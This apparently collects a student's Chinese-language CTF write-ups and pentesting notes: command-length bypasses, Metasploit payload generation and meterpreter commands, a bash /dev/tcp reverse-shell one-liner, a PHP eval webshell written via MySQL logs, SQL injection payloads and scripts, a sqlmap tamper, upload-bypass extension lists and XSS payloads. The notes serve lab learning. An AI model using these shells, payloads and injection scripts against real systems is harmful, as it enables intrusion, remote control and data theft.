HITCON CTF命令执行绕过

#HITCON CTF命令执行绕过

写在前面

最近开始暑假生活,基本上是吃喝玩乐。但是过两天还有一场peakgeek,不想让自己松懈,学习一道命令执行的题目,由于没有自己的服务器来搭小马,我就大致在自己的linux进行绕过操作,才发现自己linux命令学的狗屁不是,构造能力也特别垃圾

BabayFirst

题目给的源码

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

linux写文件命令

题目大致意思是给每个人创建一个不同的目录,然后你在当前目录下进行命令执行。

命令的长度不能超过5
这里有一篇文章:
从七个字符长度的任意命令执行到GetShell

文章讲了一种方法,通过>命令建立空文件,再用ls -t>把当前目录的文件名当作文件内容导入到一个新的文件中。新的文件中也包含当前文件名,内容按照ascii码表排序换行。

linux还有一个小技巧,\可以对命令进行换行,是命令的拼接操作,具体如下

先看一下它是如何Work的:

这里我们用ls语句把当前文件夹下的文件名写成一个新文件叫做down,可以看到我们用>来创建空文件,文件名包含反斜杠\,这样我们执行sh的时候就可以拼接命令。从图也可以看到,遇到错误命令会报错,但是不会终止,依旧输出了1。也就是”echo 1”

值得注意的是,若文件名有反斜杠,则要用\\来写,还有空格、>要用\\>来写,用转义符。

根据图片的ls可以看到,我们的文件名是按ascii码表排的,生成文件的话命令是杂乱的,也是无效的。所以我们用ls -t>按照时间顺序来写入文件。

但是这题有长度限制, ls -t>已经超过5个字符。
网上思路是把ls -t>也写成一个文件,用sh执行,那么就需要构造这个文件了。
构造思路纠结了我很久,后来看到一种巧妙的方法,借助>>来文件追加
写文件过程:

>l\\
>s \\
>-t\\
>\>g

接着执行ls>a,得到a中文件内容应该是这样的:

'-t\'
'>g'
'a'
'l\'
's \'

如果我们追加ls>>a则内容应该是这样的:

'-t\'
'>g'
'a'
'l\'
's \'
'-t\'
'>g'
'a'
'l\'
's \'

前三行和后三行命令无效,只有中间部分的命令有效。所以a文件的可执行内容就只是:ls -t>g

接着还要构造curl请求来下载一个小马。这点还没有学会,以后再记

用echo和>>追加命令写shell

这个是偶然看到郁离歌的博客里写的,对长度限制不是那么严格的时候可以用。

但是看到别人博客写,有时候这样php文件不能执行,原因就在于换行。最好可以把POST[]写到一行。所以这个方法不是很好,大多数是用wget或者curl下载小马,但是我还没学会

相关链接:
浅谈CTF中命令执行与绕过的小技巧

内网穿透进行Metasploit渗透

初识Metasploit

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,是一个框架,常用于内网渗透。

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

Meterpreter中常用的Shell

reverse_tcp

这是一个基于TCP的反向shell

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定

reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

payload选择的三大要素如下:

  • 木马连接的方向
  • 目标操作系统及版本
  • 反弹的shell类型

木马连接方向:
msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试)

操作系统位数查看:

getconf LONG_BIT

常用payload

linux相关payload:

1 linux/x86/meterpreter/reverse_tcp
2 linux/x86/meterpreter/bind_tcp
3 linux/x86/shell_bind_tcp
4 linux/x86/shell_reverse_tcp
5 linux/x64/shell_reverse_tcp
6 linux/x64/shell_bind_tcp

windows相关payload:

1 windows/meterpreter/reverse_tcp
2 windows/meterpreter/bind_tcp
3 windows/shell_reverse_tcp
4 windows/shell_bind_tcp
5 windows/x64/meterpreter/reverse_tcp
6 windows/x64/meterpreter/bind_tcp
7 windows/x64/shell_reverse_tcp
8 windows/x64/shell_bind_tcp

payload具体参数含义:

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)
-l, --list       [module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)
-a, --arch       <architecture>  指定payload的目标架构
    --platform   <platform>      指定payload的目标平台
-s, --space      <length>        设定有效攻击荷载的最大长度
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code   <path>          指定一个附加的win32 shellcode文件
-x, --template   <path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options            列举payload的标准选项
-o, --out   <path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
    --shellest                   最小化生成payload
-h, --help                       查看帮助选项
    --help-formats               查看msf支持的输出格式列表

一个典型的msfvenom使用举例如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=7777 -f exe -o /tmp/my_payload.exe

自己的看法

最近真的好忙…然后又在这里胡乱研究Metasploit,感觉后天实验班考核要凉凉…
背景:我有一台Kali的虚拟机,一台外网vps,想要渗透一台win7的虚拟机。目前还没有学到提权,只是会用msf生成反弹马,然后msf监听外网vps接收的数据。win7我虚拟机开了Nat进行转发,传上去了小马,菜刀连接上。

因为我是内网的Kali,所以要进行内网穿透:
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透,就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。

首先我们为什么要内网穿透?因为我们的kali在内网,当木鸡(简称)执行我们msf生成的EXE木马时,它会把自己的Shell反弹出去,当然这个Shell不可能反弹到我们自己的内网。那么我们就需要有个外网的ip来监听这个Shell。当然,我们也可以用自己的外网ip来映射到kali上。但是一方面我觉得不安全,另一方面我觉得windows限制太多了,所以就利用我有的一台Centos7的VPS来当作这个跳板。时间不多了,开始记录一下目前的步骤:

获取meterpreter会话

VPS开启流量转发

在网上看到有人说用lcx作为内网端口转发的工具,但是centos7好像编译环境不允许lcx,使用不起。用Ssocks搭建隧道,监听两个端口,7777用来接收来自受害者反弹的shell,7778将7777的流量转发出。下载sSocks,执行命令编译./configure && make,进入src文件夹

./rcsocks -l 7777 -p 7778

生成Payload

Kali生成Payload in Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Kali生成Payload in Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Kali分步生成Payload

分步执行:

msf > use payload/windows/meterpreter/reverse_tcp  #指定payload
msf > payload(reverse_tcp) > set lhost xxxxx(外网Ip) #设置监听地址
lhost => xxxxx(外网Ip) 
msf > payload(reverse_tcp) > set lport 7777(监听流量流入端口)
lport => 6666
msf > payload(reverse_tcp) > generate -b '\x00\xff' -t exe -e x86/shikata_ga_nai -i 5 -f /root/test.exe
[*] Writing 73802 bytes to /root/test.exe...

msf进行监听

回到msf主界面:

msf > payload(reverse_tcp) > back

运行监听模块:

msf > use exploit/multi/handler

设置接收的payload:

msf exploit(handler) > set payload windows/meterpreter/bind_tcp

设置vps监听的地址和转发的端口:

msf exploit(handler) > set rhost xxxx(外网Ip)
rhost => xxxx(外网Ip)
msf exploit(handler) > set lport 7778
lport => 7778
msf exploit(handler) > exploit
[*] Started bind handler
[*] Sending stage (957999 bytes) to xxxx(外网Ip)
[*] Starting the payload handler...

靶机运行Payload

Linux下运行elf会提示没有权限,加权限:

chomd +x ./shell.elf

然后再运行就可以了

Meterpreter的常用命令

基本命令

background  # 让meterpreter处于后台模式  
sessions -i index   # 与会话进行交互,index表示第一个session  
quit  # 退出会话  
shell # 获得控制台权限  
irb # 开启ruby终端

文件系统命令

cat # 查看文件内容  
getwd # 查看当前工作目录  
upload  # 上传文件到目标机上  
download # 下载文件到本机上  
edit # 编辑文件  
search  # 搜索文件

网络命令

ipconfig / ifconfig # 查看网络接口信息  
portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

系统命令

ps # 查看当前活跃进程 
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中 
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 
getpid # 获取当前进程的pid 
kill pid # 杀死进程 
getuid # 查看权限 
sysinfo # 查看目标机系统信息,如机器名,操作系统等 
shutdown # 关机

相关链接:
防火墙(firewalld)端口转发
利用metasploit进行提权
Metasploit简单提权
sSocks下载
Socks代理反弹突破内网

CTF中的Misc题目

写在前面

因为最近要实验班考核,开始做一下Misc题目,毕竟要简单一些。。发现好多神奇在kali里面,就用ssh连接了本地win10和kali,搭了xftp互传文件,后台挂上kali解放双手解放内存,爽的不行~

又是一张图片,还单纯么

丢到kali的binwalk里扫一下:

binwalk -e 2.jpg

发现有好多文件,用Kali下的foremost分离一下:

foremost 2.jpg

分离了两张图片传回到win下查看flag

linux基础

给了一个flag未知类型的文件,又提示linux基础。
学会了一个linux下的打印命令:strings

strings flag

中国菜刀

得到一个pcap的文件,果断丢到wireshark
追踪Tcp数据流发现有Base64编码的东西。
解码后发现有这个东西:C:\wwwroot\flag.tar.gz
我的想法是,可能这个pcap里还包含的有其它文件,不管了丢到binwalk里看一下
1
果然有一个zip的压缩文件,但是我用foremost分离不出来,于是用binwalk的dd命令来提取:
2

注意偏移量的选取!

参考:CTF中图片隐藏文件分离方法总结

要蹭网先解开密码

给了一个cap文件,放到kali里的aircrack里跑。
给了前七位,用密码工具生成完整的11位手机号码的密码字典。
接着执行如下命令:
1
index那行提示是让我们看握手包的次数,显示的是三次就输入3

后期要做一个破解wifi的文章~

Nc反弹Shell

写在前面

昨天打了sctf,太菜了还是从基础开始来吧,看到Bugku有一道命令执行的题目,因为没有回显要反弹到vps,由此接触到了反弹Shell这个东西

环境准备

有一台centOS7的vps主机当作控制、接受机器,一台kali linux的内网虚拟机当作靶机。一开始vps开了端口,靶机怎么也连接不上。后来请教line师傅,他说vps要看防火墙的放行端口,然后我Google了vutlr机器的放行端口是全部Ban掉的。。。尼玛,贴一个用firewalld开防火墙端口的文章

测试

1
目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。

bash 直接反弹

  1. 主机执行监听命令:

    nc -l -p 8080 -vvv
  2. 靶机执行bash反弹命令:

    root# bash -i >& /dev/tcp/XXXXXX(开放监听的ip)/8000 0>&1

kaiqi
xiaoguo

  1. 可以看到,我们在主机输入whoami,命令会传到靶机执行,然后返回信息到主机。相当于靶机的shell反弹到了主机。

最后

反弹shell有十种方法,这里有两篇文很不错,再贴上一篇nc命令的讲解:
linux各种一句话反弹shell总结

浅谈CTF中命令执行与绕过的小技巧

Linux每天一个命令:nc/ncat

记SCTF的一道mysql日志写Shell题目

写在前面

太尼玛菜了,感谢LinE师傅耐心点拨。

思路

这道题是phpmyadmin弱口令登入,账号密码root
进去之后应该是写shell,但是show variables 发现file_priv为null,这说明Into outfile写shell显然是不可能了。

  1. 百度到一种绕过file_priv写shell的方法: phpmyadmin通过日志文件拿到webshell
  2. 接下来我们要找路径,我们可以通过找Log变量猜测绝对路径:
    tupian
  3. 有一点需要注意我们写小马的时候[]中尽量用双引号,否则会有转义的麻烦,我这次写的一句话是这样的:
    <?php eval($_POST["hpdoger"]); ?>

流程

set global general_log=’on’;
set global general_log_file=’G:/apm/apache2/htdocs/config.php’;

这个log的路径自己发挥,想办法找可写路径。可以看一下log变量原来有没有路径

select ““;
set global general_log=off;

最后

我真的好菜啊…

WhaleCTF的Web题目

写在前面

最近要做的事太多了,实验班考核、末考、再加上来成都的同学多的一批。。没时间好好学点东西,前两天装Docker,基础太差了,现在Ubuntu上docker都没搭好环境。应对最近的考核,还是刷点题吧

瞎子摸鱼

是个Sql注入,一开始有回显我以为是基本的回显注入,后来fuzz发现过滤了函数、Infor、小括号,那基本上与回显注入无缘。我们构造admin是万能函数的时候,发现回显:
whaleadmin
我猜测这个是用户名,当不构造正确的用户名时,回显:
flag in the password content
所以后台的语句应该是这样的思路,如果查到用户名存在,则输出用户名的第一个值。若不存在,则返回flag那一堆。。

一开始我和LinE师傅都没想到用order by来爆破password字段,后来看到一篇类似原题的帖子。。
Inject again 注入 过滤左右括号 order by
思路挺简单的,就是通过order by的升序排序法进行盲注
后来就是写exp了,被LinE师傅嘲讽了一波。。确实py能力太差了= =
这里偷偷贴一下LinE师傅的exp:

#coding:utf-8
import requests

def send(flag,charset):
    url = "http://ctf.whaledu.com:10801/47g256f48gff/index.php"
    h = {"Content-Type": "application/x-www-form-urlencoded"}
    for i in range(len(charset)):
        c = flag + charset[i]
        payload = "whaleadmin' union select 1,0,'{}' order by 3#".format(c)
        d = "username={}&password=admin".format(payload)
        r = requests.post(url,data=d,headers=h)
        if "whaleadmin" in r.text:
            return i

def main():
    flag = ""
    num = "0123456789"
    a_z = "abcdefghijklmnopqrstuvwxyz"
    charset = list(num + a_z)
    for i in range(0,80):
        ret = send(flag, charset)
        flag += charset[ret-1]
        print flag

if __name__ == '__main__':
    main()

正则进入

源码泄露扫描得到:

<?php
echo "waht the hell?";
$flag = "*******"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次

构造的payload:
password=420.00000e-1或者password=42.000000e-0

利用科学计数法,xe(+-)x代表的意思是,x乘以10的x次方,之所以用.我一开始不明白,但是看一下句子猜测的话,这个点的作用应该还是“乘以”,即420乘以10^(-1),就是42。而且.也把标点位占了,所以构造很巧妙。

相关链接:
正则表达式语法

CTF中的Web题目

CTF中的web题目


Bugku

矛盾

tupian
!is_numeric($num): 判断输入不是数字或数字字符串
还要让输入的值==1,我们就构造字符串,num=1a,等号判断时,会取字符串第一个值进行比较

变量1

bianliang
preg_match进行正则匹配,\w+匹配一或多个字符数字下划线,后面dump的变量是可变变量,所以可以借机把我们想要的变量打印出来,一开始我构造args=flag,并无卵用。返回NULL,说明不存在flag这个变量,那我们就把所有的变量都打印出来。

这里用到超全局变量GLOBAL,构造args=GLOBAL,打印出来所有变量即可

xss攻击

研究了一天的xss,并没有什么实际的进展。这道xss是用htmlspecialchars()函数将<、>进行html实体化,让浏览器在html编码解析时,发现它是实体化的编码,就把他们解码为普通的可视化的<、>。这里我们看源码知道这是utf-8的编码方式,我们如果用unicode的方式编码<,后端不识别这个unicode为<,但html解析之后,unicode又变回<,js解析器解析完script标签之后,触发Js引擎执行这段js代码。所以我们构造playload:

\u003cscript\u003ealert(_key_)\u003c/script\u003e

\u开头好像表示的是Utf-8的unicode编码形式(瞎猜的),好菜啊。。这个并没有完全搞懂。
google了半天的浏览器渲染,明白了这个道理:一旦html解析到script标签的时候,就会启动js解析器来解析标签里面的东西,js解析完了之后就执行里面的Js语句。html继而再向后进行解析。

贴几个介绍编码绕过xss的文章:
浏览器加载、解析、渲染的过程
xss编码与绕过
xss编码剖析
字符转unicode

Web4

提示让我们看源码,发现有一串url编码的东西,
解码后传值就行了,拼接两个escape的值

备份是个好习惯

备份文件泄露,php代码泄露检测工具SourceLeakHacker

never give up

查看源码有一个1p.html页面,访问之后出现一堆base64编码的内容,解码后是页面源码,费劲心思构造b,没想到最后直接访问f4l2a3g.txt就可以…

过狗一句话

题目给出你了源码

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']) 
?>

也就是说会执行一个(assert函数)[http://www.php.net/manual/zh/function.assert.php]
所以我们只需要给s赋值为我们想要执行的语句。
看到别人的Wp,应该是先扫描一下当前目录看有什么东西
payload:

s = print_r(scandir('./'))

这里我们用print_r来打印数组相关信息,而不是print。
关于绝对路径的用法:

  1. ./ 当前目录
  2. ../ 上层目录
  3. ../../ 上2层目录

前女友

这个跟实验吧php是最好的语言有点类似。
打开它提示的链接,然后代码审计。
md5可以用数组绕过,也可以用0e开头的md5值绕过。
Strcmp可以用数组绕过。
我的payload:

?v1=s878926199a&v2=s155964671a&v3[]=1

po一个php函数漏洞的总结链接

login1(SKCTF)

hint:sql约束攻击
去百度了一下什么叫约束攻击
约束的意思就是对长度进行约束,看完上面的链接基本上就知道注册时的用户名怎么构造了。
我的构造:
admin (前方为空格)

web8

这个题有点意思,涉及到extract()变量覆盖,看一下给的源代码:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  • 首先了解一下empty函数
    这个函数一开始把我误导了,empty是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值,反之返回ture。

  • 再介绍一下extract函数:
    extract() 函数从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

题目提示有txt文件,我们访问一下flag.txt,发现内容是:flags。
我们要传入一个非空的ac,让它的值===$f,$f来自于读取文件获得里面的字符串,文件名叫$fn。目前我们不知道$fn指向哪个文件,但是我们知道有flag.txt这个文件。所以我们让$ac=flags并且$fn=flag.txt就行了
payload:

?$ac=flags&$fn=flag.txt

求getshell

这是一个上传绕过题目,后缀很名单检测和类型检测
php别名php2, php3, php4, php5, phps, pht, phtm, phtml
发现php5可以绕过,还要更改 Content-Type里,把multipart改成大写(搞不懂问什么)。
贴一个上传绕过总结的[链接](https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/)

上传文件时waf会检查哪里?
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容

常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

sql注入2

写着sql注入的名字,看到网上说竟然是DS_Store源码泄露??exm???最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

报错注入

题目链接
既然提示了报错注入,我们就按照提示来注入,我使用的是updatexml报错函数,测试一下:
ceshi
可以看到,爆出了库名,说明这个方法可行。题目给了提示让我们读文件内容,要用到load_file函数,先看一下函数的几种用法举例:

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

我们的思路是把concat里面查询数据库的句子替换为substr(返回值函数),不让报错函数打印数据库的名字了,而是打印我们读到的文件内容,substr就相当于printf的作用。题目过滤了单引号,我们就用十六进制表示绝对路径,但是要用到hex()函数让数据库知道我们要将字符串转为16进制。值得注意的是concat语句第一个空不可省略,否则打印不出内容。完整的payload:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30)),1)

先返回读到内容前30位的16进制,再更改语句依次往后读:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)),1)

tupian
将读到的16进制转换为字符:
jieguo

insert into注入

先审计一下源码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

explode过滤逗号,所以报错注入肯定行不通。看到网上的Wp说是基于时间的盲注,盲注点很显然是XFF。经过测试payload有效:

X-Forwarded-For:1'+sleep(5) and '1'='1

页面返回有一个延时,这里就不能用if(,,)语句了,因为过滤了逗号,用另一个注入语句:

select case when (条件) then 代码1 else 代码 2 end

于是有了如下的payload:

1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1

emmm,手注是不可能的,这辈子是不可能手注的(手动滑稽),我们抓个包让sqlmap以XFF为注入点扫描,再加个过滤逗号的tamper就好了。若以XFF为注入点,则要在抓包后的导出文件里XFF后加*,标识为注入点如图:
zhurudian
然后找了网上大神的过滤逗号的tamper,放在Sqlmap目录里,命名为comamalessmysql.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0


    >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
    'ISNULL(NULL)'

    >>> tamper('MID(VERSION(), 2, 1)')
    'MID(VERSION() FROM 2 FOR 1)'

    >>> tamper('IF(26=26,0,5)')
    'CASE WHEN 26=26 THEN 0 ELSE 5 END'

    >>> tamper('IFNULL(NULL,0x20)')
    'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'

    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'
    """


    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and not comma1:
                        comma1 = i

                    elif depth == 1 and payload[i] == ',' and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload

    if payload:
        retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
        retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

    return retVal

然后Sqlmap里跑一下,语句如下:
sqlmap

多次

这道题困了我一天,一开始我以为是盲注,于是花时间在写脚本花了一天。。后来找到一个wp其实就是手注,只是过滤掉了union一些关键词,看一下题目:

  • 查询有结果时,返回nothing
  • 查询无结果时,返回error
  • %23可注释,引号可用

ok,知道上述条件,我们测一下它过滤了什么。
介绍一种检查过滤的方法,叫异或判断:
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。ysql里异或运算符为^ 或者 xor

  1. 构造id=1’^(条件)^’
  2. 判断的两个条件一个是括号里的条件,另一个是后面的’’,’’为空,即为0。所以括号里的条件若是成立,则页面返回错误;反之则页面返回正常
  3. 完整payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)^'
    返回正确,说明判断条件是错的,所以union被过滤了
    我们用叠加语句看一下 uniunionon是否会被过滤,payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('uniunionon')=5)^'
    返回错误,说明判断条件正确,所以这个可以当作union使用。
  4. 接下来就是一些基础查询了,题目说有两个flag,再查到另一个列时,出现一个网址:
    Once_More.php
  5. 里面还有一道注入题,因为它会回显你提交的参数,所以想知道过滤了什么直接就可以看出来,过滤了Union,我用的报错注入解决的
  6. over,这道题学习了异或注入判断过滤。

login3{SKCTF}

tip给了说是布尔盲注
在username这个注入点测试一下,初步手工模糊测试,发现过滤了空格、逗号、等号,没有过滤#和’。因为是布尔盲注,那我们构造ascii函数语句。首先我们猜测一个用户名吧,就猜Admin,发现回显是:password error。
这说明这个用户名存在,那么我们就可以把这句话作为一个判断对错的语句,结合异或注入进行ascii的猜测。(用户名错误时会返回 username does not exist!)

  1. 过滤了‘=’,那么我们ascii的等号语句就没法使用了,经过测试like是绕不过去的。那我们就通过这句话替换掉等号:
    username=admin'^(ascii('a')-97)
    等价于:
    username=admin'^(0)
    异或注入,因为a的十进制ascii为97,所以与(0)异或。
  • (0)条件时返回”password error”
  • 其余条件时返回”username does not exist!”
  1. 直接上py脚本跑:
    jiaoben
    这里需要解释一下,既然过滤了逗号,那么我们substr(,,)的语句就没用了。我们可以换一种形式表达,即substr(database()from1),这样的返回值如图:
    substr1
    substr2
    所以问题就来了,ascii函数对字符串的返回值是什么呢? 这个问题想了我好久,一开始是找的别人的脚本,看他们写遍历的时候卡在这个地方,这尼玛的ascii面对字符串难道不是返回NULL?!。后来发现自己惯性思维了,测试一下,ascii()这个破函数在处理字符串的时候会返回字符串第一个字符的ascii值,难受ing…

还有一个问题就是过滤掉了information,这让查表就变的头疼。
但是我们想一下php后端处理过程,它对username的处理无非是下边框架的语句:
select username from 表 where username = “admin”^()
所以它为我们已经找好了表了,既然题把information锁死了,那flag就只可能是这个admin的密码了。那我们要做的就是查admin密码

看一下下面这个语句:
password

我们的密码猜对时,返回false,跟上面异或的思路一样

sql简单的注入和常见的waf绕过

写在前面

前一阵子为了做Ctf题临时补了一阵子mysql的相关知识,了解了一些简单的注入流程:查字段数->查库->查表->爆字段。但是应用实战或者其他稍微困难一些的Sql注入题这些还远远不够,所以决定重新学习,系统的做一下归类,并记录一下学习的过程


关于环境

本地用Phostudy搭建的PHP+MYSQL环境,写了一个简单的php,类似于无脑的ctf注入题,get传参Id值

简单的注入

刚才我们写的Php就是一个没有任何过滤的后端,值得注意的是,#的注释功能现在好像被和谐掉了,在Hackbar只能编码为%23才能代替#的作用(我竟然花了好长时间反复查看自己到底有没有过滤qaq),接下来看一下这类绝迹注入的流程.如果你本地有DVWA的环境,就直接注Simple类型就好了,先贴一张表的结构
表结构

查字段

?id=1' order by 1/2/3... %23

找到一个有回显的注入点,手动去猜字段,返回异常的N-1即为字段数

查库

这里字段数确认为3

?id=-1' select 1,2,database() %23

